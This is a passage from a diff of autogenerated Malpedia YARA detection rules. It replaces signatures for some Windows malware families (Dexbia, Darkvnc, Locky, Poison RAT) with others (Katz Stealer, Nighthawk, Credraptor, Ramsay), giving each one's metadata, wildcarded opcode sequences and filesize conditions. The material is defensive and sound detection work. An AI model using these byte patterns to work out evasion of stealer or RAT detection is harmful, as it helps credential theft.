8b45e0 8a803cb44000 08443b1d } + $sequence_6 = { 663bc2 0f84e6020000 0fb7048d64bc4000 41 6685c0 } + $sequence_7 = { 0fb7c0 baa3170000 663bc2 0f84e6020000 0fb7048d64bc4000 41 6685c0 } + $sequence_8 = { 0f84de030000 0fb7048d64bc4000 41 6685c0 75e4 } + $sequence_9 = { 0f8469010000 0fb7048d64bc4000 41 6685c0 75e4 } condition: - 7 of them and filesize < 581632 + 7 of them and filesize < 155648 } -rule MALPEDIA_Win_Dexbia_Auto : FILE +rule MALPEDIA_Win_Katz_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "10b4a5d0-b360-57a4-9e4b-c6a9cc13bd8b" + id = "c49e5ae3-476e-56a3-98bc-9b636f776fa6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexbia" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dexbia_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.katz_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.katz_stealer_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "a367731eb970680df53cbd5e2b030972026c39b111bddedbf1b2202ab2b56805" + logic_hash = "fd471cd54233791d0b513e7355b1bd82a81ef2e5ff3948f16fb07b4227562780" score = 75 quality = 75 tags = "FILE" @@ -124017,32 +123917,32 @@ rule MALPEDIA_Win_Dexbia_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 66ab aa b9ff040000 33c0 8dbc249d260000 be???????? f3ab } - $sequence_1 = { 8d8ef8000000 8d9638010000 51 52 e8???????? 83c408 } - $sequence_2 = { 8bca 83c020 83e103 8d9424a0120000 f3a4 8d8c24a0260000 } - $sequence_3 = { 72c1 8b4508 c705????????01000000 50 a3???????? e8???????? 8db6ec894000 } - $sequence_4 = { 60 55 40 008c554000b055 } - $sequence_5 = { 81c444040000 68a00f0000 ffd5 e9???????? 53 8d8c2418100000 53 } - $sequence_6 = { e8???????? 8d942468040000 50 52 68???????? } - $sequence_7 = { 8bb42480010000 8bbc2484010000 c744241400000000 6a64 } - $sequence_8 = { 85c0 0f85e5feffff 8bd7 b9ff090000 8dbc2455040000 88842454040000 } - $sequence_9 = { 33c0 8d7c247d c644247c00 f3ab 66ab aa } + $sequence_0 = { ffd5 85c0 7516 6aff 5a 488b8c2480000000 ff15???????? } + $sequence_1 = { 31c9 e8???????? 4893 e9???????? 85f6 } + $sequence_2 = { 0f8517ffffff e9???????? 4889f9 ff15???????? 83f8ff 0f84ba030000 85db } + $sequence_3 = { 488b4c2470 e8???????? 488b5c2450 8b742460 39b42480000000 } + $sequence_4 = { e9???????? 4885d2 0f8429ffffff 488d0562f30000 4889842490000000 4c8b842490000000 } + $sequence_5 = { e8???????? 66490f6ec5 66480f6ee7 4889f1 f20f5ec4 488d15dab00000 f20f5905???????? } + $sequence_6 = { 488b8424b0070000 488d15663a0000 4889d9 488b04f8 448b4004 e8???????? } + $sequence_7 = { f3ab 488d15f64c0000 4889f1 488dbc2494050000 e8???????? 4885c0 7449 } + $sequence_8 = { 4c89c7 f3ab 488d0d075d0000 48b80100000006000000 4889842490020000 4c8d8c2480010000 } + $sequence_9 = { 4489c8 4883c468 5b 5e c3 f6c701 0f8477010000 } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 238592 } -rule MALPEDIA_Win_Darkvnc_Auto : FILE +rule MALPEDIA_Win_Nighthawk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "333202ce-cf04-5e1c-95d5-ed62536bc798" + id = "f73d8e8e-0e22-5d8b-a28a-19526ca65051" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkvnc_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nighthawk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nighthawk_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "7d4bb25715c42c98fca5b840dde51c070d19a7e331a44598eca4d1a3afd0df99" + logic_hash = "83ca7d457445609b911357175ebed2dd8acc41dfcf066ffda805bb2cf527d439" score = 75 quality = 75 tags = "FILE" @@ -124056,34 +123956,34 @@ rule MALPEDIA_Win_Darkvnc_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 428994817c120000 48638178540000 891481 ff8178540000 c3 8bc2 41b2ff } - $sequence_1 = { 81f9f4010000 7265 488bd5 898708030000 488bcf e8???????? 488b4768 } - $sequence_2 = { 4c8bc1 ebdd 81fba3000000 0f8583000000 33d2 488bcf ff15???????? } - $sequence_3 = { 4c8bf9 4889b5b8020000 4889bdc0020000 488d1508df0000 488d4d00 33ff 4d8be1 } - $sequence_4 = { 488d542420 488bcf e8???????? 8bd8 488b0d???????? 4c8bc7 33d2 } - $sequence_5 = { 740c 498bd7 488bcb ff15???????? 4d85f6 740c } - $sequence_6 = { f645e801 7425 8b8f80000000 85c9 0f94c0 a801 7436 } - $sequence_7 = { e9???????? 488b442448 4889442460 488b442460 4863403c 488b4c2460 4803c8 } - $sequence_8 = { 83caff ff15???????? 488d55e0 488bcb e8???????? 488b8be8070000 ff15???????? } - $sequence_9 = { 4889842480000000 4883bc24800000000d 0f874b070000 488d0577f9feff 488b8c2480000000 8b8c88dc0d0100 } + $sequence_0 = { 4885c9 7405 e8???????? 4883631000 48c743180f000000 c60300 4883c320 } + $sequence_1 = { e8???????? 488b4810 4883781810 7203 488b00 4885c9 7425 } + $sequence_2 = { 4c89b5a0010000 4c89bda8010000 4488b590010000 48399dc8010000 7211 488b8db0010000 4885c9 } + $sequence_3 = { 4c89742430 4c89742440 48c74424480f000000 41b814000000 488d15deaf0500 488d4c2430 e8???????? } + $sequence_4 = { 4c8b43f8 4d85c0 742b 4883c8ff 48ffc0 44382407 75f7 } + $sequence_5 = { 4c8b32 492bee 488bc5 48c1f803 480fafc1 4885ed 7473 } + $sequence_6 = { 488d542420 488bce e8???????? 90 eb2b 4c892e 41be0f000000 } + $sequence_7 = { 57 4883ec40 488360f000 488bf1 83601800 488d0da9db0700 8bda } + $sequence_8 = { e9???????? 83fa06 0f8553010000 8d7209 443821 742e 4c8965e0 } + $sequence_9 = { eb05 448974246c 4889b580020000 4889b590020000 4889bd98020000 41b823000000 488d1537f50700 } condition: - 7 of them and filesize < 606208 + 7 of them and filesize < 1949696 } -rule MALPEDIA_Win_Redpepper_Auto : FILE +rule MALPEDIA_Win_R980_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d2edfb9a-1eb5-5a85-952d-b05e4e2a71cd" + id = "93137b54-f6ba-5cf4-a0be-8189c2bb31ee" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redpepper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redpepper_auto.yar#L1-L113" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.r980" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.r980_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e96cef7dbcd0aadec344d24829840e1785ca6a9324f588db92d46f4ddb824ac9" + logic_hash = "fbf84b1263b8ff37213624bd208f7542a2b35e24d52f97dbbecc6762e2858308" score = 75 - quality = 75 + quality = 45 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -124095,34 +123995,34 @@ rule MALPEDIA_Win_Redpepper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? 6a15 8d562c 6aff } - $sequence_1 = { 8b500c 41 83f904 8b12 8a540aff } - $sequence_2 = { 7405 e8???????? 8bc7 5f c9 } - $sequence_3 = { 8b460c 85c0 7432 8b442420 } - $sequence_4 = { 8b450c 2bc7 50 8d041f } - $sequence_5 = { 6a01 8bcf 8bd8 e8???????? ff75fc } - $sequence_6 = { 6a65 6a20 e8???????? 83c428 8bc5 } - $sequence_7 = { 3c0a 741e 8365f800 3c0d 7503 895df8 3b750c } - $sequence_8 = { 83c404 85c0 7411 8b4c2418 5f } - $sequence_9 = { 8d85b4feffff 50 56 ff15???????? 56 } + $sequence_0 = { 83c40c e9???????? a900040000 0f84b0000000 837f1408 7204 8b07 } + $sequence_1 = { 8bc8 e8???????? 8d45d8 50 8d8d38ffffff e8???????? ff7524 } + $sequence_2 = { e8???????? 8b75e0 83c414 83fe03 7707 ff24b5c8ba4000 e8???????? } + $sequence_3 = { ff5004 c745fc07000000 8b7510 85f6 741e 8bc3 f00fc14604 } + $sequence_4 = { 68???????? e8???????? 51 6a20 50 8d8df0f9ffff c645fc04 } + $sequence_5 = { 33c1 8944960c 8b44241c 8b8810010000 8b8014010000 8d0c88 8d4204 } + $sequence_6 = { c60100 e8???????? e8???????? 8d942490000000 b9???????? e8???????? 8d842490000000 } + $sequence_7 = { 722c 8b4640 8945a4 8d0c38 894e40 8b4630 8945ac } + $sequence_8 = { 8bcf e8???????? 8a00 8806 834710ff 7509 c7470c00000000 } + $sequence_9 = { 68???????? 8d45b4 c745ac0f000000 50 c745a800000000 c6459800 e8???????? } condition: - 7 of them and filesize < 2482176 + 7 of them and filesize < 3178496 } -rule MALPEDIA_Win_Grease_Auto : FILE +rule MALPEDIA_Win_Silon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ecfbbfe9-c011-518f-ab9d-ed514af53077" + id = "77f22f8e-9f0a-5d81-b5cb-4a1b2cbd5d10" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grease" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grease_auto.yar#L1-L234" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.silon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.silon_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "7c8c14c35a0def9c37a4dcb1634bd39b69466704a6828c5b8b5cd9c96e04b3c0" + logic_hash = "7b66629e0b9d8daa583e325d7e0da1ae5ba2cceda52e365df066a9ac5301a777" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -124134,128 +124034,116 @@ rule MALPEDIA_Win_Grease_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 52 50 683f000f00 50 50 50 } - $sequence_1 = { 4053 4881ec90020000 488b05???????? 4833c4 4889842480020000 488d4c2472 } - $sequence_2 = { 4889442438 48897c2430 4533c0 c74424283f000f00 897c2420 ff15???????? 85c0 } - $sequence_3 = { 895c2420 ff15???????? 85c0 0f85e7000000 } - $sequence_4 = { 488b4c2460 ff15???????? b801000000 488b8c2480020000 4833cc e8???????? 4881c490020000 } - $sequence_5 = { 4533c0 488bd3 c744242804000000 4889442420 ff15???????? 488b4c2450 ff15???????? } - $sequence_6 = { 85c0 0f85e7000000 488b4c2460 488d442458 } - $sequence_7 = { 488d542470 41b93f000f00 4533c0 48c7c102000080 } - $sequence_8 = { 85c0 7534 488b4c2450 488d442458 41b904000000 4533c0 } - $sequence_9 = { 51 6a04 53 68???????? 52 895c2430 ffd5 } - $sequence_10 = { 68???????? 52 e8???????? 83c40c 8d84242c040000 55 50 } - $sequence_11 = { c644342064 e9???????? c644342070 e9???????? c644342073 e9???????? } - $sequence_12 = { 51 56 66899c2440010000 66899c2446010000 66c784244a0100000700 } - $sequence_13 = { e9???????? c644340c79 e9???????? c644340c77 e9???????? c644340c76 } - $sequence_14 = { 8d442424 8d5001 8a08 83c001 } - $sequence_15 = { 66899c2440010000 66899c2446010000 66899c244a010000 66899c244c010000 } - $sequence_16 = { 68???????? 52 e8???????? 83c408 8d442414 50 } - $sequence_17 = { 83c408 8d442410 50 681f000200 53 8d4c2430 } - $sequence_18 = { 6a00 50 c684241401000000 e8???????? 0fbe4c2410 56 } - $sequence_19 = { c684342406000040 eb62 c68434240600007b eb58 } - $sequence_20 = { 8dbc24490c0000 899424400c0000 be???????? f3ab 66ab } - $sequence_21 = { eb3d c6440c0c3c eb36 c6440c0c28 eb2f c6440c0c24 eb28 } - $sequence_22 = { 8d442414 6a04 50 6a04 55 68???????? 51 } + $sequence_0 = { 51 8b956cfeffff 52 e8???????? 83c40c 837d8400 } + $sequence_1 = { 898858080000 eb7c 8b55fc 8b8254080000 898514efffff } + $sequence_2 = { 83c404 8945a4 837da400 746e 8b55a8 } + $sequence_3 = { 0f868f000000 833d????????00 0f8482000000 c745e400000000 } + $sequence_4 = { 50 6a00 e8???????? 83c410 89856cfeffff 83bd6cfeffff00 } + $sequence_5 = { 8d8de8f9ffff 51 68???????? 8d95e8fbffff } + $sequence_6 = { 8b55fc 8b8254080000 8b4dfc 03815c080000 } + $sequence_7 = { 83c410 6a65 a1???????? 50 } + $sequence_8 = { 8b85c4feffff 8945d4 0fb74dcd 85c9 7e34 0fb755cd } + $sequence_9 = { 681d5b931f 6a05 e8???????? 8945fc 8b4510 50 } condition: - 7 of them and filesize < 278528 + 7 of them and filesize < 122880 } -rule MALPEDIA_Win_Locky_Auto : FILE +rule MALPEDIA_Win_Sysget_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9434ac8a-f19d-5097-9718-4e0bcd7c3bb7" - date = "2024-10-31" - modified = "2024-11-11" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.locky_auto.yar#L1-L181" + id = "d2f0576d-1441-54f4-9c7c-cf1f813e0f5e" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysget" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sysget_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "cfd0780ce81a27b30c6ff7ba29e871c926663b6bd8e9b266836319c43aec3bb1" + logic_hash = "089522db1c40ede3965799cc3ef7759b59f64889024e8b66531171fe0f366f21" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20241030" - malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" - malpedia_version = "20241030" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 51 8b00 6a00 8d4d0c 51 ff750c } - $sequence_1 = { 760a 68???????? e8???????? a1???????? 2b05???????? 6a1c } - $sequence_2 = { 50 c745f8???????? e8???????? 8d85f0fdffff 50 } - $sequence_3 = { 99 83e207 8d3c02 33d2 42 c1ff03 663bca } - $sequence_4 = { 99 5e f7fe 8bf0 81fe48922409 760a 68???????? } - $sequence_5 = { 6a00 ff15???????? 85c0 751e ff15???????? c745f8???????? } - $sequence_6 = { 8907 8bc7 c9 c20400 ff15???????? 8945fc } - $sequence_7 = { 7314 8b4e1c 8b431c 3bc8 7c0a } - $sequence_8 = { 5b c21000 e9???????? 8bff 55 8bec 56 } - $sequence_9 = { 03d8 8b442408 f7e1 03d3 5b c21000 e9???????? } - $sequence_10 = { 66ab e9???????? 8d12 e9???????? } - $sequence_11 = { ebcf 90 8d36 90 } - $sequence_12 = { 5e c21000 8bff 55 8bec 33c0 8b4d08 } - $sequence_13 = { 6a61 e9???????? 90 58 } - $sequence_14 = { 6a63 e9???????? 90 8d36 } - $sequence_15 = { 66ab e9???????? 58 90 e9???????? 90 } - $sequence_16 = { 66ab 90 e9???????? 8d00 } + $sequence_0 = { e8???????? bf???????? 83c424 c60000 } + $sequence_1 = { 668b08 83c002 6685c9 75f5 8dbdecf1ffff 2bc6 83ef02 } + $sequence_2 = { 8325????????00 5e c3 55 8bec 83ec34 a1???????? } + $sequence_3 = { 8985c4f9ffff 052c010000 50 e8???????? 83c40c 6800800000 } + $sequence_4 = { a3???????? 57 6a11 59 6a7c 8d4580 } + $sequence_5 = { 8d85fcf7ffff 50 e8???????? 59 33c0 } + $sequence_6 = { 8b85f8fbffff 8d8df4fbffff 51 50 8d85fcfbffff } + $sequence_7 = { 8b35???????? 57 6a10 58 50 6a01 } + $sequence_8 = { ff15???????? 8bc6 8bd6 668b08 83c002 663bcb } + $sequence_9 = { 8d853cffffff 50 ff35???????? ff15???????? a1???????? } condition: - 7 of them and filesize < 1122304 + 7 of them and filesize < 352256 } -rule MALPEDIA_Win_Unidentified_089_Auto : FILE +rule MALPEDIA_Win_Ramsay_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f61e4a77-808b-5e07-801b-03e57ce838b5" - date = "2023-07-11" - modified = "2023-07-15" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_089" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_089_auto.yar#L1-L98" + id = "591a738b-88c1-5449-9137-a45c1c5654e9" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ramsay_auto.yar#L1-L162" license_url = "N/A" - logic_hash = "f9666eb88fbd91e0eb2e4b4c8812230b36d73d66192fed407aecfaa8f0ed362a" + logic_hash = "cc560e807fba4f127cf57dd3774af95181c3332f30b4eada50d5d158e9717780" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20230705" - malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41" - malpedia_version = "20230715" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 889dd4feffff 899d84feffff 898588feffff 889d74feffff 33c0 } - $sequence_1 = { 8b4508 e8???????? c20c00 e8???????? cc 6a30 } - $sequence_2 = { f2e9e3000000 55 8bec eb0d ff7508 e8???????? } - $sequence_3 = { 83f904 0f8582000000 8b75d0 8bfb } - $sequence_4 = { eb0f ff7634 57 ff562c } - $sequence_5 = { 88041e 880c1f 0fb6041e 8b4dfc 03c2 8b550c } - $sequence_6 = { 3dffffff7f 0f87a2000000 03c0 3d00100000 7227 } - $sequence_7 = { 56 6a01 8d4dec 8975d8 } + $sequence_0 = { 7514 ff15???????? 83f820 7502 eb07 } + $sequence_1 = { ff15???????? 85c0 7502 eb02 ebb1 } + $sequence_2 = { 85c0 744c c745e800000000 eb09 8b45e8 83c001 } + $sequence_3 = { 8b4d08 83c101 51 6a00 8b55f8 } + $sequence_4 = { 85c0 751a 8b4df8 51 ff15???????? 8b55fc } + $sequence_5 = { 8b5508 8b4508 8a481c 884a0b 8b5508 8b4508 } + $sequence_6 = { 837de806 7d34 8b4d08 034de8 0fbe4101 } + $sequence_7 = { 884a01 ebbd b801000000 8b4df8 33cd e8???????? } + $sequence_8 = { e8???????? 83c404 8945f8 8b45f8 8945fc 8b4d0c } + $sequence_9 = { 8955e8 eba5 8b45f4 8be5 } + $sequence_10 = { ff15???????? 33c0 e9???????? e8???????? 85c0 } + $sequence_11 = { 488d8c24ec040000 ff15???????? 4885c0 7415 488b8c2420090000 } + $sequence_12 = { 488d8c24f0020000 e8???????? 4889842420050000 8b842420050000 } + $sequence_13 = { 488d8c24f0010000 ff15???????? 488d8c24f0010000 ff15???????? } + $sequence_14 = { 488d8c24ec040000 ff15???????? 85c0 7402 } + $sequence_15 = { 488d8c24f0010000 ff15???????? 4898 488d84047e040000 } condition: - 7 of them and filesize < 389120 + 7 of them and filesize < 2031616 } -rule MALPEDIA_Win_Poison_Rat_Auto : FILE +rule MALPEDIA_Win_Fk_Undead_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7c6f2ea3-14d0-5bd3-b5de-002b01a6e4ac" + id = "cf4f13f3-5cfd-52f4-9402-53feb1040423" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poison_rat_auto.yar#L1-L113" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fk_undead" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fk_undead_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "3e3b3a6380a6de226db390b398cafc3338e9d953c2f6c73b523494bf22932b99" + logic_hash = "082cbaea4a68893ab74100ece6602c4f221f464c059db4c166d2438647300475" score = 75 quality = 75 tags = "FILE" @@ -124269,32 +124157,32 @@ rule MALPEDIA_Win_Poison_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f3ab 6810270000 8d8dc4d5ffff 6a01 } - $sequence_1 = { 83e61f 8b048580c54000 8b04f0 83f8ff } - $sequence_2 = { 33f3 8bf9 8930 8bf1 c1ef10 c1e908 } - $sequence_3 = { 33d7 8b7c2414 c1ef18 8b3cbd30984000 } - $sequence_4 = { 8ac8 80c120 888840b34000 eb1f 83f861 } - $sequence_5 = { 8bd3 c1ea18 c1ed10 8b149530984000 } - $sequence_6 = { 331c9530984000 8bd7 81e2ff000000 331c9530a44000 8b10 } - $sequence_7 = { 8bd9 c1eb18 895c2420 8bdf 8b7c2420 c1eb10 } - $sequence_8 = { 8a6e08 8a4e09 c1e108 0bca 33d2 8a560b } - $sequence_9 = { 330c9530a04000 8bd5 81e2ff000000 81e3ff000000 c1ed18 } + $sequence_0 = { 80bbbb02000000 0f44f9 83f807 0f87cb020000 ff2485887a0310 ff4618 } + $sequence_1 = { 8965f0 8b4508 8b750c 8b5510 33c9 898dd8f7ffff 894dfc } + $sequence_2 = { 83bb2402000000 745a 6a0a ff37 68???????? e8???????? 83c40c } + $sequence_3 = { 8bf0 6a02 6a02 56 ff15???????? c745fc00000000 56 } + $sequence_4 = { 6a3a ff37 e8???????? 8bf0 83c408 85f6 0f84b7000000 } + $sequence_5 = { 742d 8b94241c080000 8b442408 8b8c2420080000 8902 8b1424 8b842424080000 } + $sequence_6 = { 8b4c241c 52 8908 e8???????? 8b442418 83c404 5e } + $sequence_7 = { 0fb7780c 8b442428 8d5001 8a08 40 84c9 75f9 } + $sequence_8 = { 8b6c2414 33c0 33d2 57 89442408 85ed 0f8402010000 } + $sequence_9 = { 51 e8???????? 83c404 8903 85c0 7516 8b5500 } condition: - 7 of them and filesize < 101688 + 7 of them and filesize < 1418240 } -rule MALPEDIA_Win_Grabbot_Auto : FILE +rule MALPEDIA_Win_Credraptor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "73c12bd4-295c-5729-9e60-823ca8abaa15" + id = "38da88b1-241e-5356-be41-ccd7d9b62617" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grabbot_auto.yar#L1-L168" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.credraptor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.credraptor_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "c79f2285c80f8ba1c50729904e8ec53f7fa2031a70a10d12a2683fdce4ed7a23" + logic_hash = "0cde833c9a51e3ab99821592757d4fd144febcb8863fef5eac3bf6a67840a9e9" score = 75 quality = 75 tags = "FILE" @@ -124308,38 +124196,32 @@ rule MALPEDIA_Win_Grabbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83f85a 770b 83f841 7206 83c020 0fb7c0 83c202 } - $sequence_1 = { 83f85a 770d 83f841 7208 83c020 } - $sequence_2 = { 50 6a04 ff75e8 ff75dc } - $sequence_3 = { 813850450000 7523 0fb75004 bb64860000 663bd3 7506 } - $sequence_4 = { b905000000 3907 7707 83c704 e2f7 } - $sequence_5 = { 663907 7566 8b473c 03c7 813850450000 } - $sequence_6 = { c3 68d0035c09 e8???????? 50 e8???????? ffe0 } - $sequence_7 = { e8???????? 59 81c480000000 50 8bf1 e8???????? e8???????? } - $sequence_8 = { 56 ffd0 33c9 66894c37fe } - $sequence_9 = { 7428 8b0d???????? 8908 8b0d???????? 894804 8b0d???????? } - $sequence_10 = { 894808 8b0d???????? 89480c e9???????? 33c0 } - $sequence_11 = { 8d45f0 99 52 50 8b451c 99 } - $sequence_12 = { 57 8d7c000c 57 e8???????? } - $sequence_13 = { e8???????? 85c0 56 0f9fc3 e8???????? 83c414 } - $sequence_14 = { 50 ff15???????? a3???????? 85c0 7505 83c8ff } - $sequence_15 = { 8bf0 85f6 741d 8d4601 } + $sequence_0 = { 8b4720 83c40c 837e4000 89558c 8945c0 894db8 0f85c9120000 } + $sequence_1 = { e8???????? 83c40c e9???????? 837f3000 7415 8b5508 52 } + $sequence_2 = { e8???????? 83c404 8b5dfc 5e 8b4d0c 51 8bc3 } + $sequence_3 = { e9???????? a802 7508 83c8ff e9???????? 8b45f0 85c0 } + $sequence_4 = { c6043b25 03da ddd9 ddd8 8b4d94 41 803900 } + $sequence_5 = { c745dc377f0682 c745e0002de218 884de9 8855ea 8845eb 3bc7 750e } + $sequence_6 = { c70353000000 b802000000 5b 5d c3 83f83e 7510 } + $sequence_7 = { be???????? 8d4ddc 8a01 3a06 751a 84c0 7412 } + $sequence_8 = { c1f812 0cf0 0fb6c8 51 8bce e8???????? 8bd3 } + $sequence_9 = { e8???????? ff45e4 83c404 83c318 8945f0 85c0 74e0 } condition: - 7 of them and filesize < 1335296 + 7 of them and filesize < 1728512 } -rule MALPEDIA_Win_Turian_Auto : FILE +rule MALPEDIA_Win_Mailto_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "55f5d82f-afb8-5814-b531-1c9c01e3bde2" + id = "ff9d1a8b-72b0-54b9-b1c0-036aa2d1956d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turian" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.turian_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mailto" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mailto_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "91e36be52281255f5afb4546bb919f97cb536e7671085e0b38ecf9a977103ea1" + logic_hash = "74f6ff054191d80b386ecb2515d44043acc73f0e2a8bfe9bc33853bab8856df0" score = 75 quality = 75 tags = "FILE" @@ -124353,32 +124235,32 @@ rule MALPEDIA_Win_Turian_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5b 81c420040000 c3 8d442410 6a10 50 } - $sequence_1 = { 33db 3bc3 7519 668b44240c 881d???????? 891d???????? } - $sequence_2 = { 5e c3 8bc8 57 c1e105 } - $sequence_3 = { 85c0 0f840affffff 5f 5e 5d 33c0 } - $sequence_4 = { 83c9ff 33c0 668b15???????? f2ae } - $sequence_5 = { 8d4c2410 51 e8???????? 8bbc24a0000000 83c404 a1???????? } - $sequence_6 = { 51 52 ffd5 85c0 7423 a1???????? 43 } - $sequence_7 = { 83f810 7e6a 6a00 57 53 } - $sequence_8 = { 56 57 730c 5f } - $sequence_9 = { 8b442414 50 ffd7 56 ff15???????? 83c404 33c0 } + $sequence_0 = { 57 e8???????? 56 ffb42498050000 8d8424e8010000 50 } + $sequence_1 = { 8bce d1ee 83e101 f7d9 81e12083b8ed 33ce 8bd1 } + $sequence_2 = { 7434 a1???????? 8d048504000000 50 ff35???????? e8???????? 83c408 } + $sequence_3 = { b938000000 8d3c32 2bca 33c0 8bd1 c1e902 f3ab } + $sequence_4 = { 47 ff742418 897c2420 6a03 e8???????? 8bf0 } + $sequence_5 = { 83c614 ff36 e8???????? 83c404 8d7620 83ed01 75ee } + $sequence_6 = { 8d4010 0f104406f0 660fefc1 0f1140f0 83e901 75eb } + $sequence_7 = { 6a00 6a02 ffd0 85c0 0f8517020000 53 55 } + $sequence_8 = { 0f1f4000 8b840c54030000 01440c0c 8b840c58030000 11440c10 